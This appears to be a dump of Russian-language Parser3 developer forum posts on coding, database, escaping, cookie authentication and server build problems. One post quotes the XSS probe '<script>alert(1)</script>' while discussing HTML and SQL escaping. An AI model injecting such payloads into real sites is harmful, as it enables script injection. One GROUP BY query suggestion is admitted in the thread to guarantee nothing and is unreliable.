"57293","Я ввожу новость с абзацами в базу данных (БД - MySQL), но при выводе новости на странице новостей у меня почему-то в новостях все переносы строк удалаются, хотя при просмотре инфы через phpMyAdmin они там есть. Сайт: [url=\"http://www.karharodon.ru\"]www.karharodon.ru[/url]"
"57294","Если работаешь с PHP, то можно применить такой метод\
\
$var=iconv(\"UTF-8\", \"Windows-1251\", $var);\
\
где $var - переменная, с результатом в UTF-8, которую конвертируем в Windows-1251"
"57296","у парсера есть механизм _приема_ писем, доведенный до такого состояния, что пользоваться им в простых случая можно (мы пользовались). кому надо - собирает себе парсер с этой функцией.\
\
нам не потребовалось улучшать этот механизм в связи с тем, что обмен данными с роботами других сайтах посредством него для нас оказался очень неудобным.\
\
принимать почту от людей (+не забываем про поддельные заголовки писем от хакеров) и выполнять какие-либо действия по управлению сайтом считаем не лучшим вариантом (единственное, что приходит на ум из того, что можно реализовать используя прием почты - отписка от рассылок).\
\
поэтому сейчас механизм приема писем остается в том состоянии в каком и был, мы его в настоящий момент не используем и соответственно не пытаемся улучшать. если кому нужно что-нить специфическое касающееся приема писем, что будет решено в общем виде и будет прислан patch - подумаем о его включении."
"57297","[Wed Nov 29 20:52:13 2006] [11127] http://www.microsoft.com/: /home/***/****/auto.p(1002:14): '404' invalid HTTP response status [http.status]"
"57299","Предполагаю, что это какой-то вид вреждительства. Строчка вызывает код PHP. Я прав?"
"57300","нам, например, это сделать не позволяет удаленность."
"57301","В php такое возможно а в parser?\
Как это реализовать?"
"57305","Нужен в аренду физический сервер, с качественным и приемлемым по цене администрированием.\
\
Сейчас арендую,- качество администрирования не совместимо с жизнью"
"57307","Именно невозможности прочитать или понять код"
"57308","[quote]нужно сделать включение в PHP страницу кусочка на parser[/quote]\
Вот именно это мне и нужно, но как я понял это невозможно?\
Дело в том что это php-движоки и ни о каком ключении php-кода в html документ речи не может быть. Нужно именно в php-файл вставить код на парсер, да ещё чтобы он работал..."
"57309","Ребят, чесно скажу, стыдно было по такому вопросу обращаться, но время поджимает... Да и в полную силу парсер начал изучать буквально месяца два назад...\
\
Есть база с товарами магазина, нужно вывести последние пять добавленных в базу товаров с сортировкой по дате (по убыванию). В документации есть много чего полезного, но как именно такое реализовать с помощью стандартных инструментов я так и не нашел...\
\
Вот, что-то осмысленное, но тем не менее, не работает как нужно:\
\
[code]\
@novelties[]\
^connect[$connect_string]{\
	$new[^table::sql{SELECT `date`, `link`, `text`, `description` FROM `novelties`}]\
	^new.sort{$new.date}[desc]\
		^new.menu{\
				<div class=\"date\">$new.date</div>\
				<dl class=\"novelties\">\
					<dt><a href=\"$new.link\">^taint[as-is][$new.text]</a></dt>\
					<dd>^taint[as-is][$new.description]</dd>\
				</dl>\
			}\
}\
[/code]\
\
Структура Базы:\
[code]\
id (INT)\
date (DATE)\
link (...)\
text (...)\
description (...)\
[/code]\
Знаю, что дело пустяковое. Как реализоывать на PHP знаю, но хотелось бы Парсере.\
Поиск на форуме ничем не помог, но если такой вопрос уже был, извиняюсь... линк не подкините? :)"
"57311","переношу базу в инет на сервер -> такая ерунда\
\
Ошибка\
\
SQL-запрос: \
\
# MySQL-Front Dump 2.5\
#\
# Host: 127.0.0.1 Database: u123456\
# --------------------------------------------------------\
# Server version 4.1.16-max\
USE u123456;\
\
\
Ответ MySQL: \
#1044 - Access denied for user: 'u12345@%' to database 'u123456'\
\
Как можно сделать правильно?"
"57312","Это понятно — уже пробовал, а как реализовать вывод последних пяти в базе? Независимо от упорядоченности их id? у меня id c инкрементом, и если удалить товар из базы, то последовательность значений id нарушается.\
\
Можно ли здесь использовать $limit() и $offset()? Каким образом?"
"57313","отсортируете средствами sql, а вывести вариантов полно, простейший пример:\
[code]\
^for[iCount](1;5){\
  <div class=\"date\">$new.date</div>\
    <dl class=\"novelties\">\
    <dt><a href=\"$new.link\">^taint[as-is][$new.text]</a></dt>\
    <dd>^taint[as-is][$new.description]</dd>\
  </dl>\
  ^new.offset(1)\
}\
[/code]"
"57315","1. у вас на сервере создана база?\
\
2. она точно называется u123456?\
\
если не создана то перед USE нужно CREATE DATABASE сделать"
"57316","Да создана, создать новую - прав нет. Называется u48238. А то что я написал - это отчет. \
\
Ранее я экспортировал из Apache Swissknife базу данных и пытаюсь ее импортировать в phpmyadmin. \
\
Как решить не стыковку?"
"57317","удалить строку USE u123456;"
"57318","Ответ MySQL: \
#1044 - Access denied for user: 'u48238@%' to database 'databasename'"
"57329","Нажал 3 раза Enter, находясь в Заголовке - вот результат ) Это фича за счет возможности сабмита по Enter?"
"57331","Глянул вашу вроде недалеко ушла от антистатика, кстати проблемы с установкой у меня на (xp) после кэширования перестает работать.\
\
Вопросы следующие:\
 - впервые применил способ хранения данных в специальных таблицах, т.е. статьи, позиции каталога и новости хранятся в одном хранилище, т.к. создавать новые таблицы от проекта к проекту надоело, на мой взгляд удобнее (это про статьи у вас)\
\
 - сборка состоит из блоков, а если блоку нужно поменять куку или еще что-нить, как это реализуется\
\
 - на мой взгляд админка не должна быть на одном движке что и сайт, или у вас другие мысли"
"57332","[code]$file[^file::load[text;http://$env:SERVER_NAME/$path/$fileName;\
$.timeout(25)\
$.form[$form:fields]\
]][/code]"
"57333","И попробуйте же открыть этот адрес в своем любимом браузере."
"57338","как сделать? Читал читал доки - не понимаю, школьный курс не помню. Пробовал методом научного тыка - логику результатов не понял.\
\
Проблема вот в чем: есть битовая маска. Требуется из нее вычесть другую маску. Но дело в том, что заведомо неизвестно, существует ли в первой маске вторая. Если она есть, то все путем - вычитается. А если нет - то она наоборот - складывается.\
\
[code]^eval(14 !| 2)\
# результат 12\
^eval(14 !| 16)\
# результат 30[/code]\
\
Как добиться чтобы при втором варианте ответ был 14?"
"57339","иногда тоже помогает)\
\
[code]^eval(14 !| 2 & 14)\
# результат 12\
^eval(14 !| 16 & 14)\
# результат 14[/code]\
\
добился требуемого результата"
"57340","т.е. инвертируете маску и AND её на исходные данные."
"57342","[quote]кстати проблемы с установкой у меня на (xp) после кэширования перестает работать[/quote]\
от антистатика нормально ушла, описание проблемы в баг трекер плз\
http://code.google.com/p/mouse-cms/issues/list\
[quote]- впервые применил способ хранения данных в специальных таблицах, т.е. статьи, позиции каталога и новости хранятся в одном хранилище, т.к. создавать новые таблицы от проекта к проекту надоело, на мой взгляд удобнее (это про статьи у вас)[/quote]\
я не занимался еще статьями - вообще, ваши предложения неплохо бы в рассылку\
[quote]- сборка состоит из блоков, а если блоку нужно поменять куку или еще что-нить, как это реализуется[/quote]\
к каждому блоку можно привязать обработчик с необходимой функциональностью\
[quote]- на мой взгляд админка не должна быть на одном движке что и сайт, или у вас другие мысли[/quote]\
я ведь и не настаиваю :) достаточно удобно что админка существует в сборке, но сделать ее можно на чем угодно хотите сделайте на дельфи к примеру, лишним не будет.\
\
PS: \
а) маус только начало, не стоит относится к нему как к готовой системе\
б) если несложно вопросы по mouse хотелось бы видеть все таки в рассылке"
"57343","плиз дайте ссылку почитать про $mail:received я что-то найти никак немогу. :("
"57344","1. http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/operators.txt?rev=1.185&content-type=text/vnd.viewcvs-markup\
Ctrl+F | receive\
\
2. поиск по '\"$mail:received\"' + ПАФ"
"57347","Как быть?\
OS - windows 2000 server/sp4 + apache 2.0.54 win32.\
parser: parser3_2_1_win32_cgi_xml.zip\
Библиотеки xml: parser3xml_2006_win32.zip (лежат там же где и парсер)\
Все делаю по примеру, а именно:\
[code]\
$sourceDoc[^xdoc::load[2.xml]]\
$transformedDoc[^sourceDoc.transform[template2.xsl]]\
^transformedDoc.string[$.method[html]]\
[/code]\
Ответ сервера: 'xdoc' class is undefined [parser.runtime]\
Встроенный парсер от микрософт рендерит xml без проблем.\
Что делать?"
"57348","Как можно узнать вложенность элементов в [url=\"http://www.parser.ru/examples/trees/\"]примере[/url], для того чтобы дерево вывести не столбиком, а как в этом форуме."
"57350","[code]\
$input[swim into    pool, dance naked  ]\
$hobbys[^input.split[,;v]]\
^hobbys.menu{\
	$words[	^hobbys.piece.split[ ;v] ]\
	^rem{тут шайтан}\
        ^words.menu{^words.piece.trim[]}[-]\
}[<br>]\
[/code]\
[code]\
$input[swim into    pool, dance naked  ]\
$hobbys[^input.split[,;v]]\
^hobbys.menu{\
	$words[	^hobbys.piece.split[ ;v] ]\
	^rem{тут шайтан}\
        ^words.menu{ ^words.piece.trim[] }[-]\
}[<br>]\
[/code]\
\
В первом варианте имеем:\
swim-into-pool\
dance-naked\
\
во втором:\
swim - into - - - - pool\
- dance - naked -\
\
И я вообщем-то склонен считать, что второй вариант работает правильно. Объясните плз, где волшебство? Почему в первом варианте Парсер самостоятельно все склеил без учета лишних пробелов?"
"57351","^words.menu{^words.piece.trim[]}[-]\
\
тут пустые строки, которые получаются от trim-а пробелов не учитываются и соответственно не склеиваются через разделитель?"
"57352","прочитайте что написано про разделитель"
"57353","Есть два сервера amd64\
\
1. На первом стоит FreeBSD 6.1 Cходу собрать парсер не удалось, поэтому поставил скомпилированный от 4.10 и compat4x - работает без проблем.\
\
2. На втором FreeBSD 5.5. Аналогичный трюк не получился - в системе не оказалось 32-битного линкера (/libexec/ld-elf32.so.1) и возможно вообще 32-битных библиотек. Решил собрать честный 64-битный парсер.\
\
С какими проблемами столкнулся:\
\
1. boehm-gc не знает про комбинацию amd64 + FreeBSD. Вылечилось установкой из ports - там есть все необходимые патчи.\
\
2. WARNING в следуюущем месте:\
\
        union Languages {\
\
                struct {\
#ifdef PA_LITTLE_ENDIAN\
                        Language lang:8;\
                        int is_not_just_lang:sizeof(CORD)*8-8;\
#elif defined(PA_BIG_ENDIAN)\
                        int is_not_just_lang:sizeof(CORD)*8-8;\
                        Language lang:8;\
#else\
#       error word endianness not determined for some obscure reason\
#endif\
                } opt;\
                CORD langs;\
\
warning: width of `String::Languages::<anonymous struct>::is_not_just_lang' exceeds its type\
\
Подумал, увеличил is_not_just_lang до long long int.  Ругаться перестало, но какие последствия могут быть - не знаю.\
\
На этом этапе парсер стал запускаться и успешно обрабатывать файлик из двух строчек.\
\
3. Не цеплялcя mysql-driver. Штатная диагностика - \"Can't open module\", пришлось залезть в исходники, чтобы вытащить ошибку dlopen'а. Ошибка оказалась невозможностью найти какой-то символ с длинным названием. Поскольку ранее приходилось писать свой драйвер, то нашел как пересобрать mysql'ный. Вот эта строчка помогает:\
\
 g++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/usr/local/include/mysql -g -O2 -fPIC -shared parser3mysql.C  -o libparser3mysql.so -lc libltdl/ltdl.lo\
\
Возможно нужно будет изменить пути при сборке в другом окружении.\
\
4. ^xdoc::create[] падает в кору в следующем месте:\
#0  0x0000000000417db3 in transcodeToUTF8 (.......)\
    at pa_charset.C:329\
329                     case 1: *--outPtr = XMLByte(curVal | gFirstByteMark[encodedBytes]);\
\
\
На этом месте я сломался. Отладчик говорит, что encodedBytes=63, что по логике предыдущего фрагмента кода невозможно."
"57354","Всем привет, осваиваю парсер, еще чайник.\
Возник вопрос, искал по докам и форуму, ответа не нашел :( Подскажите пожалуйста если не сложно.\
\
Есть SQL запрос: \
$portfolio[^table::sql{select id,......\
\
далее вывожу содержимое запроса\
<table border=\"0\">\
<tr>\
^portfolio.menu{\
<td>$portfolio.foto</td>\
}[ ]\
</tr>\
</table>\
\
как мне правильно написать код чтобы у меня выводилось по 4 <td> в линию <tr>?"
"57355","Поставить счётчик\
\
[code]\
<table border=\"0\">\
$i(1)\
^portfolio.menu{\
^if($i == 1)(<tr>)\
\
<td>$portfolio.foto</td>\
^if($i == 4){\
  </tr>\
  $i(1)\
}{\
  $i($i+1)\
} \
# Это не оптимальный способ\
# Рекомендуется ^i.inc(1) (возможно написал с ошибкой)\
# Подробности в документации\
}[ ]\
</table>\
[/code]"
"57358","Поддомены на моем хостинге были реализованы вот таким образом:\
\
  RewriteEngine on\
  RewriteOptions inherit\
  Options +FollowSymLinks\
  RewriteBase /\
  RewriteCond %{ENV:REDIRECT_FLAG} ^$\
  RewriteCond %{HTTP_HOST} ^sub\\.domain\\.ru$\
  RewriteRule ^(.+) %{HTTP_HOST}$1 [E=FLAG:1]\
  RewriteRule ^sub\\.domain\\.ru(.*) /sub%{REQUEST_URI} [L]\
\
При этом Парсер в \"поддоменах\" выдавал ошибку \"parser already configured\".\
\
\
Стал искать в чем дело, на форуме искал -- пришел к таким инструкциям:\
\
  RewriteEngine on\
  RewriteOptions inherit\
  Options +FollowSymLinks\
  RewriteCond %{HTTP_HOST} ^sub\\.domain\\.ru$\
  RewriteCond %{REQUEST_URI} !/sub/\
  RewriteRule ^(.*)$ /sub/$1 [L]\
\
Так все работает. Ну за исключением DOCUMENT_ROOT, которая где была, там и осталась. Приходится указывать её Парсеру вручную.\
\
[b]Вопрос: почему первый вариант не хочет работать???[/b] И чем хуже/лучше второй вариант. Статьи по mod_rewrite не дают очевидного ответа...\
\
[b]Уточнение:[/b] если в первый вариант добавить\
RewriteCond %{REQUEST_URI} !/sub/\
то всё нормально работает."
"57359","Вообщем. Очень мне интересено. Как делают \"Запомнить меня\" на форумах и т.п.\
\
Вообщем как делаю cookie:авторизацию я. Если человек ввел правильное имя и пароль делаю куку на сесию. Вернее две куки. 1ая имя пользователя (или id) вторая ^math:crypt[name-password-ip;^$apr1^$]] \
\
Т.е. перетаскивание у человека куки ничего не даст. IP то уже несовпадет.\
\
И сохранять такую куку на неделю также нет смысла. Так как не у многих постоянные ip. А делать вторую куку \
^math:crypt[name-password;^$apr1^$]] - давать повод несознательным школьникам пакастить."
"57361","Что означает эта ошибка?\
\
[code]Premature end of script headers: parser3, referer:[/code]\
\
Причем появилась она после переноса сайта на сервер."
"57363","кроме того поставленая задача классом auth.p не решается: если перенести куки на другой комп, то сессия успешно восстановится.\
\
однако я не знаю как спастись от этого (привязку к IP не предлагать, т.к. динамических IP много, а перелогинивание после каждой смены адреса - отстой)."
"57367","Здесь http://www.parser.ru/faq/errors/ ничего не нашел.\
\
В окне броузера Парсер ничего не выдает, кроме 500.\
\
Код на локальном компьютере работает нормально. И на других серверах тоже. Вот новый сервер попался. На нем такая ошибка.\
\
С чего начать разбираться???"
"57368","Что означает следующая ошибка?\
\
[code]apr_sdbm_open(shared) error: Invalid argument (22)[/code]\
\
Спотыкается на строке с открытием хешфайла."
"57369","1. Проверить, что parser3.cgi нужной версии (под ОС у хостера)\
2. Проверить выставленные права на parser3.cgi\
3. Проверить, что парсер закачан в binary-режиме."
"57370","Нет. Частично сайт работает. И вот на одном запросе такая ошибка и выходит. А то что вы предлагает сделать - так это в случае когда вообще ничего не работает. В данном случае уверяю, у меня не работает лишь один запрос. И выдает крайне невнятную ошибку."
"57371","кроме того я не вижу смысла защиты от перетаскивания кук с компа на комп. Юзер жмет \"выход\" и пусть все хакеры таскают эти куки куда хотят. Если же юзер не нажал выход при \"запомнившемся\" состоянии - его проблемы. Хотя с другой стороны - лишняя безопасность будет только кстати, реализацию которой, вы, к сожалению, не представляете. Как и я."
"57372","если вы уверяете, что Парсер у вас работает, и загинается на определенном коде - код в студию. А то, что вы написали в первом посте треда, явный признак ошибок, описанных Sanja v.2 ."
"57373","Оказывается если задать неверный путь (например с символом * или ?) при открытии хэш-файла, то выдается столь невнятное сообщение."
"57374","Значит так, мой код я не знаю как привести, ибо он громоздкий. Система целая, вся-таки, написанноя за несколько лет. Но она работает отлично на локальном и на нескольких удаленных серверах. \
\
И вот, на новом хостинге, где RеdHat стоит, мой код на одном из запросов не работает. Ничего не выдает, кроме 500-й ошибки сервера. А в логах пишет: Premature end of script headers: parser3, referer: http://www.mysite.ru/. В чем дело никто не ведает. И ошибку в коде найти крайне затруднительно, думаю из вышенаписанного это ясно.\
\
На том же хостинге есть еще неуловимая ошибка: out of memory (while allocating XML compsite memory [size=6144]). Она появляется без меня, то есть то работает эта страница, то не работает. Я лишь в логах ее отлавливаю. И то же не понятно как это отладить. Ведь на других серверах никаких проблем с памятью не было. Да и размеры моих файлов микроскопические (4-5 файлов по 10 кб за один запрос)."
"57375","в случаях, когда кода много, и раньше все работало, а сейчас нет, ищем ошибку \"руками\". Делим код на блоки, обрамляем их \
[code]\
^try{\
# тут ваш ранее работающий код\
}{\
	$exception.handled(1)\
	ПОПАЛАСЬ!\
}[/code]\
 и ищем...\
\
Понятно, что сайт в это время работать будет некорректно, поэтому гуманно будет временно заменить index.html на что-то, типа \"ведется техническая диагностика. в течении часа сайт восстановит свою работу.\" Другого варианта я не вижу. Может кто что другое посоветует."
"57376","А как вот эти\
\
[code]^try{\
# тут ваш ранее работающий код\
}{\
	$exception.handled(1)\
	ПОПАЛАСЬ!\
}[/code]\
\
смогут выловить ошибку, если парсер вообще нормально не работает и выдает что-то про приматур?"
"57377","ловите этот запрос и смотрите, почему в лог попадает такая несовместимая с рабочим парсером ошибка.\
\
Пробуйте, короче. Ждем результатов."
"57379","[code]\
@process_hobby[hobby_txt][hobbys;words;hobby;hid;hobby_html]\
$hobby_html[]\
^void:sql{DELETE FROM user_hobby WHERE uid=^user.id.int[]}\
$hobbys[^hobby_txt.split[,;v]]\
$result[\
	^hobbys.menu{\
		$words[	^hobbys.piece.split[ ;v] ]\
		$hobby[^words.menu{^words.piece.trim[]}[ ]]\
		^if(^hobby.length[] < 256 && ^hobby.match[^^[\\w\\-]+^$]){\
			<a href=\"/userlist.html?act=search&hobby=^taint[uri][$hobby]\">$hobby</a>\
			$hid(^int:sql{SELECT id FROM hobby WHERE name='^taint[sql][$hobby]'}[$.default(0)])\
			^if(!$hid){\
				^void:sql{INSERT INTO hobby (name) VALUES('^taint[sql][$hobby]')}\
				$hid(^int:sql{SELECT LAST_INSERT_ID() FROM hobby}[$.default(0) $.limit(1)])\
			}\
			^void:sql{INSERT INTO user_hobby (uid, hid) VALUES(^user.id.int[], $hid)}\
		}{\
			^taint[html][$hobby]\
		}\
	}[, ]\
]\
[/code]\
\
В переменной $result получаем то что надо, плохие куски запачканы как html, наши ссылки чистые. Но, если дальше пихнуть это в SQL\
\
[code]\
@update[param][set]\
^if($user){\
	^if(def $param.hobby){\
		^dbconnect{\
			$param.hobby_html[^process_hobby[$param.hobby]]\
		}\
	}\
	$set[^param.foreach[key;value]{^if($value is string || !def $value){$key='^taint[sql][$value]'}{$key=$value}}[, ]]\
	^MAIN:dbconnect{\
		^void:sql{UPDATE user SET $set WHERE id=$user.id}\
	}\
	$result(1)\
}\
[/code]\
то все счастье исчезает, так как код метится, как sql ^taint[sql][$value], но если это убрать, то при присутствии в тексте одинарной кавычки SQL запрос рушится.\
Как бы форсировать замену до ^taint[sql] ?"
"57380","- не понял почему вами написанный ^taint[sql][] рушит вам счастье. \
\
- нужно стараться не использовать ^taint[html][], ^taint[sql][] & прочее. если вы хотите для какого-то куска текста сказать, что этим данным вы не доверяете, то используйте ^taint[текст]. в этом случае если вы подставите этот текст в запрос - то неявный ^untaint[sql]{} эти буквы переведет в sql, если выдадите в тело страницы - все преобразуется в html, будете создавать xdoc - преобразуется в xml и т.д."
"57381","Пришлось сделать:\
\
cd /usr/src\
make build32\
make install32"
"57382","Когда я сформировал текст там часть данных оказывается \"грязными\" как html, часть чистыми. Когда в SQL Statement-е я делаю ^taint[sql][...] парсер по-видимому начинает считать все данные грязными только относительно sql-я, получается что в базу идет не:\
\
<a href=\"link\">text</a>, &lt;script&gt;alert(1)&lt;/script&gt;\
Где ссылка была мной вписана чистой, а следующий html был помечен мной как грязный, а:\
\
<a href=\"link\">text</a>, <script>alert(1)</script>\
\
то есть предыдущие метки \"грязноты\" были сброшены при ^taint[sql][...]\
\
\
Просто ^taint[] в SQL запросе сейчас попробую."
"57383","[quote]то есть предыдущие метки \"грязноты\" были сброшены при ^taint[sql][...][/quote]\
\
конечно, taint так и работает. taint - слепой маляр красящий все подряд. если нужен зрячий - обращайтесь к untaint.\
\
дополнение: похоже вы хотите чтобы парсер выполнил преобразование \"грязные данные\" -> html, а потом полученный результат преобразовал в sql. если так - то tainting вам не поможет, такого парсер не умеет."
"57384","Цель: выбрать произвольные значения из переменной вида\
|aaa|bbb|cccc|dddd|eeee|fff|\
\
т.е. надо получить\
aaa=bbb\
cccc=dddd\
...\
\
длина полей между || произвольна. Если бы это был XPath 2.0 всё решалось бы просто использованием ф-ии replace с подходящим регэкспом. Подскажите пожалуйста как это можно сделать на XPath 1.0. (под парсер)\
\
substing...?"
"57386","за то что это молоток, который решает мои проблемы :) А структура не моя.. В принципе она логична: вместо того, чтобы плодить пару десятков аттрибутов можно запихнуть всё в один :)\
\
вышел из положения так\
[code]\
substring-before(substring-after(substring-after(@ctx, '|category|'), '|category|'),'|')\
[/code]\
\
можно как-нибудь по-другому?"
"57388","да нет никакой разницы как передавать - всё равно геморройно... Подскажите как проверить на пустую/строку состоящую из одних пробельных символов средствами xslt|xpath 1.0. Без matches короче."
"57391","Вы в итоге под FreeBSD 5.5 собираете?\
Если не трудно, выложите, пожалуйста, результат. Очень актуально... Сам собрать не могу, т.к. хостинг виртуальный. А тех.поддержка не умеет, видимо ))"
"57392","Поставил на сервере системные 32-битные библиотеки, библиотеки  совместимости с FreeBSD 4.x и скомилированный парсер под 4.10 отсюда, с parser.ru.\
\
Да, и еще нужна libmysqlclient 32-битная (стащил с 4.10го сервера).\
\
А честный 64 битный с поддержкой XML собрать не получается."
"57393","А у меня Парсер от FreeBSD 4.10 не завёлся."
"57394","[i]дополнение: похоже вы хотите чтобы парсер выполнил преобразование \"грязные данные\" -> html, а потом полученный результат преобразовал в sql. если так - то tainting вам не поможет, такого парсер не умеет.[/i]\
\
Именно это и было нужно. Жаль, значит придется делать замены вручную. А то я уже безрезультатно попробовал и такую схему\
[code]\
$all_code[clear code ^taint[html][$tainted]]\
^void:sql{INSERT INTO ... (...) VALUES (^taint[sql][^untaint{$all_code}])}\
[code]"
"57398","попробуйте окончательно разобраться как работают taint/untaint, возможно вы сможете решить вашу задачу (не выполнить двойное преобразование, а пересмотреть задачу чтобы воспользоваться стандартным механизмом)\
\
P.S. считаю что хранить в БД буквы с уже сделанным html преобразованием - глупость."
"57399","trim/trim_old \
неужели студия где-то еще использует древний парсер parser 3.1.1 и ниже?\
\
И не очень понятна путаница с нотацией кодирования. \
В оглавлении метода названия - verb_adjective_noun, то verbAdjectiveNoun. \
А в самом коде - стоят обертки, типа:\
[code]\
@newMethodName[hParams]\
...code....\
\
@old_method_name[params]\
# backward compatibility\
^newMethodName[$params]\
[/code]\
\
Т.е. налицо переход к новой нотации.\
Может, лучше сразу писать новые имена?\
\
P.S. Понимаю, что это занудство, но, имхо, стоит все ж сделать публичным свою нотацию. Пусть не ввиде стандарта, а хотя бы просто общие приницпы - тут хватит пары абзацев.\
Просьба не отсылать к Макконелу - читал :) \
Все же конкретное соглашение - это конкретное соглашение. Даже самая популярная венгреская нотация по-разному адаптируется к разным языкам/проектам.\
Хотелось бы ясности в этом вопросе и понимания того, что пишешь код который другие смогут легко и сразу прочесть."
"57400","Причина - у Миши, видимо, масса строк кода, которая опирается на старые названия методов. А оглавление пополняется разово и не перечитывается."
"57401","я дописал изменения, которые используются мной. заниматься составлением и поддержкой описания я не буду (лень).\
\
кратко:\
\
никаких подчеркиваний в именах методов/пересенных. \
первая буква - маленькая.\
форматирование кода обязательно. TAB-ами.\
\
^methodName[] - имя метода\
$sVar - строка\
$dtVar - дата\
$tVar - таблица\
$hVar - hash\
$iVar/$dVar - числа (исключение: итераторы небольших циклов: i,j)\
$bVar - true/false\
$fVar - file/image\
$xVar - xdoc/xnode\
$oVar - пользовательский объект\
$uVar - тип неизвестен и может быть любой (метод должен разобраться сам)\
\
с именами классов, файлами с классами и константами у меня пока не все утряслось. стараюсь так (однако старые классы - увы со старыми именами):\
ClassName - имя класса\
ClassName.p - имя файла с классом\
$CONST - константа. префикса типа нет, но название должно говорить за себя (самому не нравицца)\
ничего пока не придумал с privat методами, кое где использую префикс '_', но мне это не нравится.\
\
- метод создания объекта класса: @create[]\
- метод инициализации статического класса: @init[]\
- каждый класс имеет $sClassName[имя класса] (скоро будет не нужно, в версии из cvs уже можно достать $object.CLASS_NAME)\
- глобальные переменные внутри классов не используются\
- все переменные в методе должны быть объявлены локальными\
- у локальных переменных нет префикса '_'\
- меджу методами - 3 пустых строки\
- все комментарии - на английском + как правило в классах нет русских текстов (причина: многоязыность и необходимость использовать классы и на проектах с utf8 и на проектах с 1251)\
- если метод ничего не возаращает - последней строкой '$result[]' я явно сообщаю об этом.\
- метод не может врзвращать данные разных типов в зависимости от входных параметров.\
- метод должен оканчиваться '#end @methodName[]'\
\
может что-то забыл :)\
\
по поводу lib.p: нам приходится поддерживать и довольно старые проекты, поэтому взять и убить метод со старым именем я не могу. приходится тащить подобное за собой, хотя возможно я таки сделаю новый статический класс (да, будет не ^trim[], а например ^lib:trim[] и т.д.) который буду использовать в новых проектах + обертку обратной совместимости. т.е. для новых проектов будет только lib.p, а для старых lib.p + lib_backward.p в котором будут создаваться операторы.\
\
P.S. все оглавления будут убиты, т.к. на их поддержание требуются силы, а его целессообразность сомнительна, т.к. мой редактор умеет показывать все методы в файле в отдельной колоночке."
"57402","[code]^methodName[] - имя метода[/code]\
и\
[code]ClassName - имя класса[/code]\
можно привести к единому стандарту - или все с заглавной, или все с прописной буквы. Мне с прописной нравится больше.\
\
[code]$CONST[/code]\
можно писать как\
[code]$сCONST[/code]\
тоже наглядно.\
\
В случае с глобальными переменными добавлять буковку g:\
[code]$gsVar - строка[/code]\
\
В случае с типами файлов можно указывать типа\
[code]$fGIFVar - файл рисунока[/code]"
"57403","[quote]можно привести к единому стандарту - или все с заглавной, или все с прописной буквы. Мне с прописной нравится больше.[/quote]\
\
в том и смысл, что они должны отличаться.\
[code]\
$oSoapClient[^SoapClient:create[...]]\
[/code]\
\
видите oSoapClient и SoapClient? похожи они? а если будет так: oSoapClient и soapClient (с прописной)?\
если методы писать с заглавной - то все смотрится нормально, но.. мне не нравится.\
\
[quote]В случае с глобальными переменными добавлять буковку g:[/quote]\
\
у меня глобальных переменных быть НЕ ДОЛЖНО, поэтому никаких букв. если вдруг _очень_ прижмет, префикс уже есть: $MAIN:sAuthorMustDie\
\
\
типы файлов мне не интересны, и я не помню чтобы я вообще разливал их по типу в коде."
"57414","[i]P.S. считаю что хранить в БД буквы с уже сделанным html преобразованием - глупость.[/i]\
\
У меня в базе 2 поля: одно оригинальный код, введенный пользователем, второе это как раз преобразованный в html тот же код (собсно о нем и был вопрос). Если я буду делать преобразование интерактивно, то серверу очень быстро наступит известный пушной зверек из-за работы регэкспов и последующего поиска по текстовому индексу. Даже если я на каждую текстовую строку (в данном случае каждый пользовательский интерес) положу рядом MD5 и буду искать по полю типа CHAR(32)."
"57415","вы при выводе напишите $tBadTable.field и все.\
остальное сделает неявный ^untaint[html]{}, а сделает он это потому, что данные пришли из БД, т.е. они грязные.\
\
если же по каким-то причинам у вас все выводится с помощью ясного ^taint[as-is]{} (например потому, что у вас значительно больше данных, лежащих в БД внесено через административный интерфейс), то сделаете так:\
\
[code]^untaint[as-is]{\
$tGoodTable.field\
\
...\
\
^taint[html][$tBadTable.field]\
\
...\
\
}\
[/code]"
"57417","Имеем таблицу\
(id, gid, date)\
, нжно выбрать из неё такие строки чтобы дата среди одинаковых gid была максимальной, а id гарантированно был идентификаторм той строки, где эта дата стоит."
"57418","[quote](id, gid, date)\
.... выбрать из неё такие строки чтобы дата среди одинаковых gid была максимальной[/quote]\
Что имееться ввиду дата среди выбранных максимальна? Если вы имеете в виду то, что нужно выбрать максимальные даты.?\
[quote]...а id гарантированно был идентификаторм той строки, где эта дата стоит.\
[/quote]\
А это что вообще значе не понятно что.."
"57419","Может ли кто-нибудь поделиться готовым.\
\
В Linux не шарю, а у провайдера именно он стоит..."
"57420","может такое прокатит?\
[code]\
SELECT\
	id,\
	gid,\
	MAX(date)\
FROM\
	table\
GROUP BY\
	gid\
[/code]\
\
я не уверен (и в доке не ходил уточнять), но надеюсь сервер оперирует строками и когда будет выбирать max(date) при группировке, то id будет соответствовать ей.\
\
P.S. это не будет работать с Oracle например и возможно с другими серверами, но MySQL проглотит эту вольность с group by. если у вас mysql поддерживает подзапросы то можно что-нить родить с ними, уже более стандартное."
"57421","Кто-нибудь что-нибудь писал для работы с данными в JSON?\
Или самому написать и поделиться?"
"57422","посмотрел бы с удовольствием,\
нет так сам напишу, но позже позже..."
"57423","преобразование парсерных типов данных в ~JSON http://www.parser.ru/forum/?id=41408\
\
более концептуальная, исправленная и дополненная версия есть [url=\"http://www.parser.ru/examples/js_http_request/\"]в примере про jsHttpRequest[/url]\
\
+ еще один [url=\"http://www.parser.ru/forum/?id=56286\"]небольшой патчик[/url] на любителя..."
"57424","Написано: \"...непротиворечивые простые варианты, дающие такое-же ускорение, как выбранный, приветствуются...\"\
\
Следует ли это понимать так, что методы с явно объявленной $result работают значительно быстрее, чем без оной?\
Можно ли считать, что явное объявление $result желательно во всех случаях, когда это возможно?\
\
Или я всё неправильно понял?"
"57425","в том-то и беда, что эта конструкция ни чего не гарантирует :("
"57426","но думаю ПАФ не просто так взял и добавил это. \
я не вижу других причин, кроме как выигрыша скорости, который достигается за счет изначального игнорирования пробельных символов в подобных методах."
"57427","Тестирую.\
На моей задаче прирост скорости незначительный (узкое место не в этом), но память экономится."
"57428","[quote]мой редактор умеет показывать все методы в файле в отдельной колоночке.[/quote]\
А чем Вы пользуетесь, если не секрет?"
"57429","делов-то: написать два метода из шести строк:\
[code]^if(true){\
	$param1\
}{\
	$param2\
}[/code]\
\
в одном объявив result, а в другом - нет. и вызвать их под run_time в цикле несколько сотен/тысяч раз. потом добавить пробелов форматирования и посмотреть ещё раз.\
\
